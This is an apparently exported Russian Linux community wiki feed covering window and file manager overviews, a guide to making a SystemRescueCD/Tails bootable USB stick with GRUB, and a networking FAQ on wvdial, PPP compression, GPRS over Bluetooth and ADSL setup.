Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/e/ed/Fvwm1-wikipedia-20050312.png/800px-Fvwm1-wikipedia-20050312.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: редактирования текстовых файлов конфигурации.&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&amp;lt;br /&amp;gt;&lt;br /&gt;
Примечание: прабатюшка большинства современных wm.&lt;br /&gt;
&lt;br /&gt;
Почти полный ман: http://www.linux.org.ru/wiki/en/FVWM&lt;br /&gt;
&lt;br /&gt;
== IceWM ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~750 кб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: icewm&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/9/97/IceWM.png/750px-IceWM.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: как прямое редактирование текстовых файлов так и графические средства.&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&lt;br /&gt;
&lt;br /&gt;
== Ion ==&lt;br /&gt;
&lt;br /&gt;
Размер: ???&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: ???&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Screenshot-1.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: ???&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: да.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&lt;br /&gt;
&lt;br /&gt;
== Joe’s Window Manager ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~100 кб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: jwm&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/4/48/Openbsd37withjwm.png/800px-Openbsd37withjwm.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: ???&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: Нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&amp;lt;br /&amp;gt;&lt;br /&gt;
Примечание: Используется на очень слабых системах и &amp;quot;легких&amp;quot; дистрибутивах.&lt;br /&gt;
&lt;br /&gt;
== K Window manager ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~3 мб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: kde-window-manager&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/c/c6/Kwin-coverswitch4.1_beta_1.png/800px-Kwin-coverswitch4.1_beta_1.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: графические средства.&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&amp;lt;br /&amp;gt;&lt;br /&gt;
Примечание: прибит гвоздями к KDE.&lt;br /&gt;
&lt;br /&gt;
== Metacity ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~500 кб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: metacity&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/e/ec/Metacity-screenshot.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: графические средства (ограниченная настройка), gconf (там настроек побольше).&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&lt;br /&gt;
&lt;br /&gt;
== Mutter ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~6.5 мб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: mutter&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/9/97/GNOME_Shell.png/800px-GNOME_Shell.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: графические средства (очень ограниченная настройка).&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&lt;br /&gt;
&lt;br /&gt;
Является форком Metacity. Название — это сокращение от „Metacity Clutter“ (Clutter - это новая библиотека-тулкит для отрисовки интерфейса приложений средствами OpenGL). Служит основой для GNOME Shell (по сути GNOME Shell это плагин для Mutter). [http://en.wikipedia.org/wiki/Mutter_(window_manager) Может] функционировать, как отдельный оконный менеджер отдельно без GNOME Shell. Наличие GPU не обязательно.&lt;br /&gt;
== Openbox ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~300 кб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: openbox&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/b/b0/Openbox-elementary3.png/800px-Openbox-elementary3.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: правка текстовых конфигурационных файлов, возможно использование графического средства настройки.&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&lt;br /&gt;
&lt;br /&gt;
== Sawfish ==&lt;br /&gt;
&lt;br /&gt;
Размер: ???&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: ???&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/b/ba/Sawfish.png/750px-Sawfish.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: ???&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&lt;br /&gt;
&lt;br /&gt;
== Stumpwm ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~300 кб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: stumpwm&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот:  http://upload.wikimedia.org/wikipedia/commons/e/eb/Stumpwm_12-2-2006.png &amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: ???&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: да.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&lt;br /&gt;
&lt;br /&gt;
== Tom's Window Manager ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~100 кб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: twm&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/a/a1/Twm.png/800px-Twm.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: ???&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: устарел.&lt;br /&gt;
&lt;br /&gt;
== Window maker ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~2.5 мб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: wmaker&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/f/fa/Wmaker-0.80.2.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: графическая утилита.&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: уатарел.&lt;br /&gt;
&lt;br /&gt;
== Window Manager Improved 2 ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~400 кб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: wmii&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/5/54/Wmii-20070228.png/750px-Wmii-20070228.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: консольная утилита&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: да.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&lt;br /&gt;
&lt;br /&gt;
== Xfwm ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~9347 кб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: xfwm4&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/7/71/Xfce-4.4.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: графическая утилита.&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: нет.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&lt;br /&gt;
&lt;br /&gt;
== Xmonad ==&lt;br /&gt;
&lt;br /&gt;
Размер: ~600 кб.&amp;lt;br /&amp;gt;&lt;br /&gt;
Пакет: xmonad&amp;lt;br /&amp;gt;&lt;br /&gt;
Скриншот: http://upload.wikimedia.org/wikipedia/commons/thumb/6/64/Xmonad-tall-status-dons.png/800px-Xmonad-tall-status-dons.png&amp;lt;br /&amp;gt;&lt;br /&gt;
Настройка: путем написания исходного кода на Haskell.&amp;lt;br /&amp;gt;&lt;br /&gt;
Тайловый: да.&amp;lt;br /&amp;gt;&lt;br /&gt;
Статус: актуальный.&lt;br /&gt;
&lt;br /&gt;
= Файловые менеджеры =&lt;br /&gt;
&lt;br /&gt;
Файловый менеджер — программа, предоставляющая интерфейс пользователя для работы с файловой системой и файлами. Файловый менеджер позволяет выполнять наиболее частые операции над файлами — создание, открытие/проигрывание/просмотр, редактирование, перемещение, переименование, копирование, удаление, изменение атрибутов и свойств, поиск файлов и назначение прав.&lt;br /&gt;
&lt;br /&gt;
Отдельной категорией файловых менеджеров выступают двухпанельные файловые менеджеры. «Двухпанельные» или «ортодоксальные» файловые менеджеры в общем случае используют две равноценные панели, но многие из них поддерживают и большее количество панелей, и другие режимы. Самыми известным программами данной категории есть Norton Commander для ОС&amp;amp;nbsp;ДОС ([http://upload.wikimedia.org/wikipedia/ru/2/2b/Norton_Commander_v5.51.png скриншот]) и Total Commander для ОС&amp;amp;nbsp;Виндоус ([http://upload.wikimedia.org/wikipedia/en/4/41/Total_Commander.gif скриншот]).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
== Andromeda ==&lt;br /&gt;
Работает на: Qt 4&amp;lt;br /&amp;gt;&lt;br /&gt;
Двухпанельный: нет&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Описание'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Не требователен к ресурсам. Сочетает в себе функционал файлового менеджера и браузера на движке WebKit. Один из рекомендованных приложений для использования со средой Razor&amp;amp;#8209;Qt. &amp;lt;!-- &amp;amp;#8209; — это неразрывный дефис --&amp;gt; &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DoubleCommander ==&lt;br /&gt;
Работает на: Free Pascal / Lazarus&amp;lt;br /&amp;gt;&lt;br /&gt;
Двухпанельный: да&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Описание'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Открытый и кроссплатформенный аналог известного Total Commander с реализованной поддержкой его же плагинов. Имеет широкий функционал.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== GNOME Commander ==&lt;br /&gt;
Работает на: GTK+ 2 [fixme]&amp;lt;br /&amp;gt;&lt;br /&gt;
Двухпанельный: да&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Описание'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Аналог Total Commander для Linux.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Konqueror ==&lt;br /&gt;
Работает на: Qt 4, KDELibs&amp;lt;br /&amp;gt;&lt;br /&gt;
Двухпанельный: возможны разные режимы работы&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Описание'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Файловый менеджер по умолчанию для среды KDE. Сочетает в себе функционал файлового менеджера, просмотрщика файлов и браузера (на движке KHTML, который, в свою очередь, послужил основой для движка WebKit).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Krusader ==&lt;br /&gt;
Работает на: Qt 4, KDELibs&amp;lt;br /&amp;gt;&lt;br /&gt;
Двухпанельный: да&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Marlin ==&lt;br /&gt;
Работает на: GTK+ 3&amp;lt;br /&amp;gt;&lt;br /&gt;
Двухпанельный: нет&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Описание'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Основан на Thunar. Разрабатывается командой Elementary project. Не смотря на то, что он уже работает — всё ещё является нестабильным.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Midnight Commander ==&lt;br /&gt;
Работает на: C&amp;lt;br /&amp;gt;&lt;br /&gt;
Двухпанельный: да&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Описание'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Самый распространенный консольный файловый менеджер. Открытый кроссплатформенный аналог таких известных файловых менеджеров, как Norton Commander и FAR. На базе сайта Linux.org.ru [http://www.linux.org.ru/news/linux-org-ru/6918997 создан] русскоязычный [https://www.linux.org.ru/forum/midnight/ форум поддержки] данного файлового менеджера.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== muCommander ==&lt;br /&gt;
Работает на: Java&amp;lt;br /&amp;gt;&lt;br /&gt;
Двухпанельный: да&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Описание'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Открытый и кроссплатформенный аналог Total Commander.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Nautilus ==&lt;br /&gt;
Работает на: GTK+ 3&amp;lt;br /&amp;gt;&lt;br /&gt;
Двухпанельный: да&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Описание'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Файловый менеджер по умолчанию для среды GNOME.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PCManFM ==&lt;br /&gt;
Работает на: GTK+ 2&amp;lt;br /&amp;gt;&lt;br /&gt;
Двухпанельный: нет&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Описание'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Файловый менеджер по умолчанию для среды LXDE.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Thunar == &lt;br /&gt;
Работает на: GTK+ 2&amp;lt;br /&amp;gt;&lt;br /&gt;
Двухпанельный: нет&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Описание'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Файловый менеджер по умолчанию для среды Xfce.&amp;lt;br /&amp;gt;&lt;br /&gt;
= Панели (доки) =&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BE%D1%87%D0%BD%D0%BE%D0%B9_%D1%84%D0%BB%D0%B5%D1%88%D0%BA%D0%B8_SystemRescueCd_%D1%81_GRUB&amp;diff=357</id>
		<title>Создание загрузочной флешки SystemRescueCd с GRUB</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BE%D1%87%D0%BD%D0%BE%D0%B9_%D1%84%D0%BB%D0%B5%D1%88%D0%BA%D0%B8_SystemRescueCd_%D1%81_GRUB&amp;diff=357"/>
		<updated>2023-02-27T18:39:18Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Предоставлено пользователем [http://www.linux.org.ru/people/GArik/profile GArik].''&lt;br /&gt;
&lt;br /&gt;
В нашем примере на USB‐накопитель будет установлен SystemRescueCD, дистрибутив Tails и будет место для хранения файлов. Вы можете использовать нижеприведенную инструкцию под свои нужды.&lt;br /&gt;
&lt;br /&gt;
Для начала необходимо разбить USB-накопитель в на разделы следующим образом:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sdc3            Основной  ext4             [SystemRescueCD]       524,29&lt;br /&gt;
sdc2            Основной  ext4             [Tails]           734,01&lt;br /&gt;
sdc1            Основной  vfat             [GArik]         14971,57&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Вы можете использовать для этого любую программу для работы с разделами дисков. Я использовал cfdisk.&lt;br /&gt;
&lt;br /&gt;
sdc3 — для SystemRescueCD, на него хватит где‐нибудь 500 Мб. Основной раздел должен быть обязательно первым, иначе Windows может не увидеть флешку при подключении. После разбиения флешки форматируем разделы: основной в FAT, а под систему лучше в ext4 без журнала:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# mkdosfs -n GArik /dev/sdc1&lt;br /&gt;
# mke2fs -L Tails -T floppy -m 0 -t ext4 -O ^has_journal /dev/sdc2 &lt;br /&gt;
# mke2fs -L SystemRescueCD -T floppy -m 0 -t ext4 -O ^has_journal /dev/sdc3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Потом монтируем образ с SystemRescueCD и копируем содержимое на свежий раздел:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# mount /dev/sdc3 /media/SystemRescueCD/&lt;br /&gt;
# mount -o loop SystemRescueCD/systemrescuecd-x86-2.5.0.iso /media/hd/&lt;br /&gt;
# cp -a /media/hd/* /media/SystemRescueCD/&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Затем нужно установить GRUB (лучше хотя бы версии 1.99):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# grub-install --no-floppy --root-directory=/media/SystemRescueCD/ /dev/sdc&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
После установки grub'а появится новый каталог &amp;lt;tt&amp;gt;/media/SystemRescueCD/boot/grub/&amp;lt;/tt&amp;gt;. Туда нужно положить конфиг примерно такого вида:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if [ -s $prefix/grubenv ]; then&lt;br /&gt;
  load_env&lt;br /&gt;
fi&lt;br /&gt;
set default=&amp;quot;0&amp;quot;&lt;br /&gt;
if [ ${prev_saved_entry} ]; then&lt;br /&gt;
  set saved_entry=${prev_saved_entry}&lt;br /&gt;
  save_env saved_entry&lt;br /&gt;
  set prev_saved_entry=&lt;br /&gt;
  save_env prev_saved_entry&lt;br /&gt;
  set boot_once=true&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
function savedefault {&lt;br /&gt;
  if [ -z ${boot_once} ]; then&lt;br /&gt;
    saved_entry=${chosen}&lt;br /&gt;
    save_env saved_entry&lt;br /&gt;
  fi&lt;br /&gt;
}&lt;br /&gt;
insmod ext2&lt;br /&gt;
set root='(hd0,3)'&lt;br /&gt;
set menu_color_normal=white/black&lt;br /&gt;
set menu_color_highlight=blue/light-gray&lt;br /&gt;
set timeout=5&lt;br /&gt;
&lt;br /&gt;
submenu &amp;quot;SystemRescueCD&amp;quot; {&lt;br /&gt;
	menuentry &amp;quot;SystemRescueCD x86&amp;quot; {&lt;br /&gt;
		linux  /isolinux/rescuecd scandelay=1 setkmap=ru&lt;br /&gt;
		initrd /isolinux/initram.igz&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	menuentry &amp;quot;SystemRescueCD x86_64&amp;quot; {&lt;br /&gt;
		linux  /isolinux/rescue64 scandelay=1 setkmap=ru&lt;br /&gt;
		initrd /isolinux/initram.igz&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	menuentry &amp;quot;SystemRescueCD alt x86&amp;quot; {&lt;br /&gt;
		linux  /isolinux/altker32 scandelay=1 setkmap=ru&lt;br /&gt;
		initrd /isolinux/initram.igz&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	menuentry &amp;quot;SystemRescueCD alt x86_64&amp;quot; {&lt;br /&gt;
		linux  /isolinux/altker64 scandelay=1 setkmap=ru&lt;br /&gt;
		initrd /isolinux/initram.igz&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
menuentry &amp;quot;Tails&amp;quot; {&lt;br /&gt;
	set root='(hd0,2)'&lt;br /&gt;
	linux	/live/vmlinuz root=/dev/sda2 boot=live config noswap live-media=removable nopersistent noprompt keyboard-layouts=us,ru&lt;br /&gt;
	initrd	/live/initrd.img&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
menuentry &amp;quot;FreeDOS&amp;quot; {&lt;br /&gt;
	linux16  /isolinux/memdisk floppy&lt;br /&gt;
	initrd16 /bootdisk/freedos.img&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
menuentry &amp;quot;MemTest+&amp;quot; {&lt;br /&gt;
	linux16  /bootdisk/memtestp&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
menuentry &amp;quot;MHDD (HDD diagnostic tool)&amp;quot; {&lt;br /&gt;
	linux16  /isolinux/memdisk floppy&lt;br /&gt;
	initrd16 /bootdisk/mhdd.img&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
menuentry &amp;quot;HDT (Hardware Detection Tool)&amp;quot; {&lt;br /&gt;
	linux16  /isolinux/memdisk floppy&lt;br /&gt;
	initrd16 /bootdisk/hdt.img&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
menuentry &amp;quot;Boot from HDD&amp;quot; {&lt;br /&gt;
	exit&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
menuentry &amp;quot;Reboot&amp;quot; {&lt;br /&gt;
	reboot&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
menuentry &amp;quot;Halt&amp;quot; {&lt;br /&gt;
	halt&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
menuentry можно добавить свои, по желанию. Вот и всё, мы получили загрузочную USB‐флешку с SystemRescueCD и Tails.&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%B5%D1%82%D0%B8&amp;diff=355</id>
		<title>Сети</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A1%D0%B5%D1%82%D0%B8&amp;diff=355"/>
		<updated>2023-02-27T18:39:18Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Вопросы, связанные с X-сервером и запуском программ по сети смотрите в разделе [[X-сервер]]&lt;br /&gt;
&lt;br /&gt;
Знаменитый iptables-tutorial. [http://gazette.linux.ru.net/rus/articles/index-iptables-tutorial.html Русский перевод]. [http://iptables-tutorial.frozentux.net/iptables-tutorial.html Оригинал на английском]. Перевод весьма хорош. Лучше всего скачать себе в виде архива, тогда вы получите рабочие примеры скриптов.&lt;br /&gt;
&lt;br /&gt;
Также весьма полезно почитать статьи в [http://gazette.linux.ru.net/rus/index.html разделе переводов и оригинальных статей Linux Gazette].&lt;br /&gt;
&lt;br /&gt;
== Как поменять в KPPP тоновый набор на импульсный? ==&lt;br /&gt;
Либо перед номером телефона пишем букву 'P' (латинская!), либо заходим в свойства kppp, команды и пишем вместо ATDT команду ATDP.&lt;br /&gt;
&lt;br /&gt;
== Что делать, если при запуске wvdial не от рута программа пишет device busy? ==&lt;br /&gt;
Добавьте пользователя в группу dialout&lt;br /&gt;
&lt;br /&gt;
== А можно пример конфига для wvdial? ==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/wvdial.conf:&lt;br /&gt;
&lt;br /&gt;
[Dialer Defaults]&lt;br /&gt;
Modem = /dev/ttyS0&lt;br /&gt;
Baud = 112500&lt;br /&gt;
Init = ATZ&lt;br /&gt;
Init2 = AT S11=50&lt;br /&gt;
Dial Command = ATDP&lt;br /&gt;
Phone = 9955555&lt;br /&gt;
Username = int1104221&lt;br /&gt;
Password = LyQSptAy&lt;br /&gt;
New PPPD = yes&lt;br /&gt;
#Init3 = ATM0&lt;br /&gt;
&lt;br /&gt;
[Dialer phone2]&lt;br /&gt;
Phone = 9955556&lt;br /&gt;
&lt;br /&gt;
[Dialer phone3]&lt;br /&gt;
Phone = 1055555&lt;br /&gt;
&lt;br /&gt;
[Dialer phone4]&lt;br /&gt;
Phone=9519024&lt;br /&gt;
&lt;br /&gt;
[Dialer phone5]&lt;br /&gt;
Phone=9613332&lt;br /&gt;
&lt;br /&gt;
[Dialer norm]&lt;br /&gt;
Init3 = ATM1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Как включить сжатие ip-заголовков microsoft (MPPE/MPPC)? ==&lt;br /&gt;
В виндах этот алгоритм называется MPPC сжатием (компрессией), Обычно в дистрибутивах linux поддержи по умолчанию нет,&lt;br /&gt;
&lt;br /&gt;
Для того, чтобы ее включить, понадобится скачать патч для ядра (вроде бы есть на [http://gaute.vetsj.com/?tag=mppc]).&lt;br /&gt;
&lt;br /&gt;
Далее нужно пропатчить pppd (патч там же, где патч под ядро). А в /etc/modprobe.conf или /etc/modules.conf нужно добавить пару строчек, чтобы получилось следующее:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
alias ppp-compress-18   ppp_mppe_mppc&lt;br /&gt;
alias char-major-108    ppp_generic&lt;br /&gt;
alias ppp-compress-21   bsd_comp&lt;br /&gt;
alias ppp-compress-24   ppp_deflate&lt;br /&gt;
alias ppp-compress-26   ppp_deflate&lt;br /&gt;
alias tty-ldisc-3       ppp_async&lt;br /&gt;
alias tty-ldisc-14      ppp_synctty&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Как подключить GPRS? Как настроить соединение через bluetooth-адаптер? ==&lt;br /&gt;
На русском — [http://www.opennet.ru/base/net/gprs_linux.txt.html], [http://dvtl.pisem.net/gprs_moto.html]&lt;br /&gt;
&lt;br /&gt;
Если мобильный телефон определяется как AT-совместимый модем, идем на [http://www.easyconnect.linuxuser.hu/] и качаем программу 'GPRS Easy Connect', собираем и запускаем&lt;br /&gt;
&lt;br /&gt;
В некоторых дистрибутивах rfcomm выдает ошибку «can’t connect RFCOMM socket: Connection refused». Это может быть связано с неправильной передачей pin’а телефону. Проверьте чтобы '''/usr/bin/bluepin''' давал ответ в виде «PIN:you_pin». В случае ответа «ERR» замените в hcid.conf строчку «pin_helper /usr/bin/bluepin» на «pin_helper /usr/bin/pin-helper»&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
user@host:~$ cat /usr/bin/pin-helper&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
echo -n &amp;quot;PIN:&amp;quot;&lt;br /&gt;
cat /etc/bluetooth/pin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
За совет благодарим Lumi.&lt;br /&gt;
В новых версиях bluez может не сработать, поэтому лучше предварительно спарить телефон и компьютер.&lt;br /&gt;
&lt;br /&gt;
Хорошие статьи: [http://www.linuxrsp.ru/artic/Linux-Bluetooth.html] [http://www.linuxrsp.ru/artic/Linux-OBEX-GPRS.html] [http://www.linuxrsp.ru/artic/Siemens-S55.html] [http://turtiainen.dna.fi/GPRS-HOWTO] — для лучшего понимания принципов работы.&lt;br /&gt;
&lt;br /&gt;
Еще о bluetooth: [http://www.smartweb.ru/news.php?act=c&amp;amp;page=27&amp;amp;cat=2&amp;amp;scat=6 http://www.linuxforum.ru/index.php?s=fbfbecaba95453655a567110503627a7&amp;amp;showtopic=3745&amp;amp;pid=62649&amp;amp;st=0]&lt;br /&gt;
&lt;br /&gt;
== Как настроить СТРИМ? ==&lt;br /&gt;
Как любое ADSL соединение:&lt;br /&gt;
&lt;br /&gt;
* Устанавливаем пакет rp-pppoe&lt;br /&gt;
* Запускаем adsl-setup.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      USER NAME: имя для инета&lt;br /&gt;
      INTERFACE: свой интерфейс (для Zyxel OMNI ADSL USB EE это nas0)&lt;br /&gt;
      DNS: пропускаем (должно работать)&lt;br /&gt;
      PASSWORD: от соединения в инет.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Для некоего питерского провайдера, предоставляющего сходные услуги, есть подробная статья.&lt;br /&gt;
&lt;br /&gt;
О том, как настроить те или иные ADSL USB-модемы, читайте в разделе [[Hardware]].&lt;br /&gt;
&lt;br /&gt;
== Подключаюсь к интернету по модему. Соединение проходит, но ни один браузер не может ничего открыть. Что делать? ==&lt;br /&gt;
Возможные проблемы:&lt;br /&gt;
&lt;br /&gt;
* Нет маршрута по умолчанию&lt;br /&gt;
* Ядро не воспринимает динамические адреса&lt;br /&gt;
* Не указаны адреса DNS-серверов провайдера&lt;br /&gt;
* Проблема с файрволлом&lt;br /&gt;
